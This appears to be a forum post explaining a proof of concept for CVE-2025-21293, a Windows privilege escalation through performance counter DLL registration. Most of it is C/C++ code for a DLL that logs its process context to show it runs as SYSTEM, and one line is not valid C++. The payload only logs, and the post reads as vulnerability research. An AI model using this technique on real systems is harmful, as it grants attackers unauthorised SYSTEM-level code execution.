PoC Breakdown - CVE‑2025‑21293 (AD DS Elevation of Privilege)

0 Replies, 163 Views

This post delves into the mechanics of a Performance Counter DLL PoC, designed to exploit CVE-2025-21293. The vulnerability hinges on misconfigured permissions in the "Network Configuration Operators" group, allowing for arbitrary performance counter registration and code execution with elevated privileges.
 The Basic Structure of a Performance Counter DLLTo create a performance counter DLL, you must implement three key exported functions:
  1. OpenPerfData: Initializes the performance counter.
  2. CollectPerfData: Gathers performance data.
  3. ClosePerfData: Cleans up resources when the counter is no longer in use.
Here's the foundational skeleton of such a DLL:
 
Code:
#include <Windows.h>

// Exported functions for Performance Counter
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();

// Example implementation of the Open function
DWORD APIENTRY OpenPerfData(LPWSTR pContext)
{
    return ERROR_SUCCESS; // Initialization logic would go here
}

// Example implementation of the Collect function
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{
    return ERROR_SUCCESS; // Data collection logic would go here
}

// Example implementation of the Close function
DWORD APIENTRY ClosePerfData()
{
    return ERROR_SUCCESS; // Cleanup logic would go here
}

// DLL Entry Point
extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
{
    switch (reason)
    {
    case DLL_PROCESS_ATTACH:
        break; // Initialization when DLL is loaded
    case DLL_THREAD_ATTACH:
        break; // Optional thread initialization
    case DLL_THREAD_DETACH:
        break; // Optional thread cleanup
    case DLL_PROCESS_DETACH:
        break; // Cleanup when DLL is unloaded
    }
    return TRUE;
}
Enhancing the DLL with Logging for Proof of Concept

To validate the exploit, logging functions are incorporated to capture the execution context of each function call. This logging helps confirm whether the DLL runs under elevated privileges (like SYSTEM).
 
Code:
#include <iostream>
#include <Windows.h>
#include <Lmcons.h> // For UNLEN and GetUserName
#include <tlhelp32.h> // For CreateToolhelp32Snapshot
#include <strsafe.h>

extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();

void Log(LPCWSTR pwszCallingFrom);
void LogToFile(LPCWSTR pwszFilename, LPWSTR pwszData);

DWORD APIENTRY OpenPerfData(LPWSTR pContext)
{
    Log(L"OpenPerfData");
    return ERROR_SUCCESS;
}

DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{
    Log(L"CollectPerfData");
    return ERROR_SUCCESS;
}

DWORD APIENTRY ClosePerfData()
{
    Log(L"ClosePerfData");
    return ERROR_SUCCESS;
}

void Log(LPCWSTR pwszCallingFrom)
{
    LPWSTR pwszBuffer, pwszCommandLine;
    WCHAR wszUsername[UNLEN + 1] = { 0 };
    SYSTEMTIME st = { 0 };
    HANDLE hToolhelpSnapshot;
    PROCESSENTRY32 stProcessEntry = { 0 };
    DWORD dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;

    pwszCommandLine = GetCommandLine();
    GetUserName(wszUsername, &(DWORD){UNLEN + 1});
    dwProcessId = GetCurrentProcessId();

    hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
        do {
            if (stProcessEntry.th32ProcessID == dwProcessId) {
                dwParentProcessId = stProcessEntry.th32ParentProcessID;
                break;
            }
        } while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
    }
    CloseHandle(hToolhelpSnapshot);

    GetLocalTime(&st);
    dwBufSize = 4096 * sizeof(WCHAR);
    pwszBuffer = (LPWSTR)malloc(dwBufSize);
    if (pwszBuffer) {
        StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
            st.wHour, st.wMinute, st.wSecond,
            dwProcessId, dwParentProcessId,
            wszUsername, pwszCommandLine, pwszCallingFrom);

        LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
        free(pwszBuffer);
    }
}

void LogToFile(LPCWSTR pwszFilename, LPWSTR pwszData)
{
    HANDLE hFile = CreateFile(pwszFilename, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        DWORD dwBytesWritten;
        WriteFile(hFile, pwszData, (DWORD)wcslen(pwszData) * sizeof(WCHAR), &dwBytesWritten, NULL);
        CloseHandle(hFile);
    }
}

extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
{
    if (reason == DLL_PROCESS_ATTACH) {
        Log(L"DllMain");
    }
    return TRUE;
}
Explanation of Key Components
  1. Logging Functions:
    • Log: Captures execution context details like process ID, parent process ID, username, and command line.
    • LogToFile: Writes the captured data to a specified log file (C:\\LOGS\\RpcEptMapperPoc.log).
  2. Execution Context Validation:
    • When a performance counter consumer (like WMI) queries this DLL, the logged output verifies that the DLL functions are executed in a high-privilege context, proving the elevation of privilege.
  3. Registry Mapping:
    • The DLL is registered in the Windows registry under performance counter keys, allowing Windows to load and execute it when the counter is queried.
references.: 
You are not allowed to view links. Register or Login to view.  
You are not allowed to view links. Register or Login to view.
[Image: e72398fe92beda2aa80d0329e8b9f4febece7568.gif]



Users browsing this thread: 1 Guest(s)